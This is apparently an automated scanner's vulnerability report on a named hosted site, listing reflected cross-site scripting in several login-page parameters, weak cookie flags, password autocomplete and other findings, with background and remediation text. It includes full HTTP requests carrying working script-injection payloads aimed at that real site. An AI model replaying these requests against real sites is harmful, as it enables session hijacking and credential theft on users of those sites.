XSS, x0281.xdhosted.com, Cross Site Scripting, SQL Injection, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 24 10:14:13 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

1. Cross-site scripting (reflected)

1.1. https://0281.xdhosted.com/NewLogin.asp [txtCustID parameter]

1.2. https://0281.xdhosted.com/NewLogin.asp [txtEmail parameter]

1.3. https://0281.xdhosted.com/NewLogin.asp [txtFriendlyName parameter]

1.4. https://0281.xdhosted.com/NewLogin.asp [txtPhone parameter]

1.5. https://0281.xdhosted.com/NewLogin.asp [txtUserID parameter]

1.6. https://0281.xdhosted.com/driverLogin.asp [txtID parameter]

1.7. https://0281.xdhosted.com/driverLogin.asp [txtPassword parameter]

2. SSL cookie without secure flag set

3. Cookie without HttpOnly flag set

4. Password field with autocomplete enabled

4.1. https://0281.xdhosted.com/DriverLogin.asp

4.2. https://0281.xdhosted.com/NewLogin.asp

4.3. https://0281.xdhosted.com/login.asp

5. Cross-domain Referer leakage

6. Cross-domain script include

6.1. https://0281.xdhosted.com/DriverLogin.asp

6.2. https://0281.xdhosted.com/NewLogin.asp

6.3. https://0281.xdhosted.com/login.asp

6.4. https://0281.xdhosted.com/track.asp

7. Email addresses disclosed

8. Cacheable HTTPS response

8.1. https://0281.xdhosted.com/CSS/DriverStyle.css

8.2. https://0281.xdhosted.com/CSS/cxtStyle.css

8.3. https://0281.xdhosted.com/DriverLogin.asp

8.4. https://0281.xdhosted.com/NewLogin.asp

8.5. https://0281.xdhosted.com/login.asp

8.6. https://0281.xdhosted.com/track.asp

9. HTML does not specify charset

9.1. https://0281.xdhosted.com/DriverLogin.asp

9.2. https://0281.xdhosted.com/NewLogin.asp

9.3. https://0281.xdhosted.com/login.asp

9.4. https://0281.xdhosted.com/track.asp

10. Content type incorrectly stated

10.1. https://0281.xdhosted.com/CSS/DriverStyle.css

10.2. https://0281.xdhosted.com/CSS/cxtStyle.css

11. SSL certificate


1. Cross-site scripting (reflected)  next
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://0281.xdhosted.com/NewLogin.asp [txtCustID parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The value of the txtCustID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 317e6"><script>alert(1)</script>9afcee1d5925207c6 was submitted in the txtCustID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /NewLogin.asp?txtUserID=&txtFriendlyName=&txtEmail=&txtPhone=&txtCustID=317e6"><script>alert(1)</script>9afcee1d5925207c6&password1=&password2=&Continue1=Continue HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/NewLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:04:46 GMT
Content-Length: 25163


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
<INPUT id=txtCustID name=txtCustID maxlength=10 value="317e6"><script>alert(1)</script>9afcee1d5925207c6">
...[SNIP]...
1.2. https://0281.xdhosted.com/NewLogin.asp [txtEmail parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The value of the txtEmail request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4baef"><script>alert(1)</script>eca67d34b03ac4bf9 was submitted in the txtEmail parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /NewLogin.asp?txtUserID=&txtFriendlyName=&txtEmail=4baef"><script>alert(1)</script>eca67d34b03ac4bf9&txtPhone=&txtCustID=&password1=&password2=&Continue1=Continue HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/NewLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:04:04 GMT
Content-Length: 25199


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
<INPUT id=txtEmail name=txtEmail size=45 maxlength=50 value="4baef"><script>alert(1)</script>eca67d34b03ac4bf9">
...[SNIP]...
1.3. https://0281.xdhosted.com/NewLogin.asp [txtFriendlyName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The value of the txtFriendlyName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e537"><script>alert(1)</script>256dcb1aca36bf6aa was submitted in the txtFriendlyName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /NewLogin.asp?txtUserID=&txtFriendlyName=6e537"><script>alert(1)</script>256dcb1aca36bf6aa&txtEmail=&txtPhone=&txtCustID=&password1=&password2=&Continue1=Continue HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/NewLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:03:43 GMT
Content-Length: 25200


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
<INPUT id=txtFriendlyName name=txtFriendlyName size=45 maxlength=50 value="6e537"><script>alert(1)</script>256dcb1aca36bf6aa">
...[SNIP]...
1.4. https://0281.xdhosted.com/NewLogin.asp [txtPhone parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The value of the txtPhone request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82afe"><script>alert(1)</script>d603916866b4901a9 was submitted in the txtPhone parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /NewLogin.asp?txtUserID=&txtFriendlyName=&txtEmail=&txtPhone=82afe"><script>alert(1)</script>d603916866b4901a9&txtCustID=&password1=&password2=&Continue1=Continue HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/NewLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:04:24 GMT
Content-Length: 25199


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
<INPUT id=txtPhone name=txtPhone size=45 maxlength=50 value="82afe"><script>alert(1)</script>d603916866b4901a9">
...[SNIP]...
1.5. https://0281.xdhosted.com/NewLogin.asp [txtUserID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The value of the txtUserID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc824"><script>alert(1)</script>0e4501ec1b9c44900 was submitted in the txtUserID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /NewLogin.asp?txtUserID=fc824"><script>alert(1)</script>0e4501ec1b9c44900&txtFriendlyName=&txtEmail=&txtPhone=&txtCustID=&password1=&password2=&Continue1=Continue HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/NewLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:03:22 GMT
Content-Length: 25197


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
<INPUT id=txtUserID name=txtUserID size=45 maxlength=50 value="fc824"><script>alert(1)</script>0e4501ec1b9c44900">
...[SNIP]...
1.6. https://0281.xdhosted.com/driverLogin.asp [txtID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /driverLogin.asp

Issue detail

The value of the txtID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3192b"><script>alert(1)</script>424fd95776e3a87b2 was submitted in the txtID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /driverLogin.asp?hidScriptTest=&txtID=3192b"><script>alert(1)</script>424fd95776e3a87b2&txtPassword=&submitLogin=Login HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/DriverLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set; ASP.NET_SessionId=jqltmdehsix510452xkrfxqr

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:03:51 GMT
Content-Length: 25537


<HTML>
   <HEAD>
       <TITLE>Driver Login</TITLE>
       
   </HEAD>
   <BODY onload=setFocus();>
       
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;

...[SNIP]...
<input id=txtID name=txtID maxlength=50 value="3192b"><script>alert(1)</script>424fd95776e3a87b2">
...[SNIP]...
1.7. https://0281.xdhosted.com/driverLogin.asp [txtPassword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /driverLogin.asp

Issue detail

The value of the txtPassword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4194f"><script>alert(1)</script>863afd97b4cd5f40d was submitted in the txtPassword parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /driverLogin.asp?hidScriptTest=&txtID=&txtPassword=4194f"><script>alert(1)</script>863afd97b4cd5f40d&submitLogin=Login HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/DriverLogin.asp
Cache-Control: max-age=0
Origin: https://0281.xdhosted.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set; ASP.NET_SessionId=jqltmdehsix510452xkrfxqr

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:04:13 GMT
Content-Length: 25537


<HTML>
   <HEAD>
       <TITLE>Driver Login</TITLE>
       
   </HEAD>
   <BODY onload=setFocus();>
       
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;

...[SNIP]...
<input id="txtPassword" name="txtPassword" type="password" maxlength=50 value="4194f"><script>alert(1)</script>863afd97b4cd5f40d" onFocus="select();">
...[SNIP]...
2. SSL cookie without secure flag set  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://0281.xdhosted.com
Path:   /XInternet/Login.aspx

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /XInternet/Login.aspx?aspxUser=&aspxPass= HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/DriverLogin.asp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: /login.asp
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=11nt3m551rpqcc45tfiltg45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:03:01 GMT
Content-Length: 129

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2flogin.asp">here</a>.</h2>
</body></html>
3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://0281.xdhosted.com
Path:   /login.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /login.asp? HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: http://xi.0281.xdhosted.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 145
Content-Type: text/html
Location: /login.asp?TryCookie=Yes
Server: Microsoft-IIS/7.5
Set-Cookie: TestCookie=Set; path=/
Set-Cookie: ASPSESSIONIDCUBCSSCB=EGOJONIBJIFBFBCDCBEBNBDP; secure; path=/
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:18 GMT

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/login.asp?TryCookie=Yes">here</a>.</body>
4. Password field with autocomplete enabled  previous  next
There are 3 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. https://0281.xdhosted.com/DriverLogin.asp  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /DriverLogin.asp

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /DriverLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:56 GMT
Content-Length: 25381


<HTML>
   <HEAD>
       <TITLE>Driver Login</TITLE>
       
   </HEAD>
   <BODY onload=setFocus();>
       
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;

...[SNIP]...
<td>
                                   <form name="frmLogin" action="driverLogin.asp" method="post" ID="Form1">
                                       

<script language="javascript">
...[SNIP]...
<td class="cxtLoginTDRight"><input id="txtPassword" name="txtPassword" type="password" maxlength=50 value="" onFocus="select();"></TD>
...[SNIP]...
4.2. https://0281.xdhosted.com/NewLogin.asp  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /NewLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/login.asp?TryCookie=Yes
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:44 GMT
Content-Length: 24535


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
</SCRIPT>

   <form action="NewLogin.asp" id="frmCreateLogin" method="post" name="frmCreatelogin">

   
<span class="cxtRequiredStatement">
...[SNIP]...
<TD class="cxtNewLoginTDRight" ><INPUT id=password1 name=password1 size=45 maxlength=50 type=password>&nbsp;
</TD>
...[SNIP]...
<TD class="cxtNewLoginTDRight" ><INPUT id=password2 name=password2 size=45 maxlength=50 type=password>&nbsp;
</TD>
...[SNIP]...
4.3. https://0281.xdhosted.com/login.asp  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /login.asp

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.asp?TryCookie=Yes HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: http://xi.0281.xdhosted.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TestCookie=Set; ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: CookiesEnabled=Set; path=/
Set-Cookie: TestCookie=Set; expires=Tue, 01-Jan-1980 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 26018


<html>
<head>
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolu
...[SNIP]...
</p>
       
       
       <form name="frmLogin" action="login.asp" method="post">

       
<script language="javascript">
...[SNIP]...
<td class="cxtLoginTDRight"><input id="txtPassword" name="txtPassword" type="password" maxlength=50 value="" onFocus="select();"></TD>
...[SNIP]...
5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /login.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /login.asp?TryCookie=Yes HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: http://xi.0281.xdhosted.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
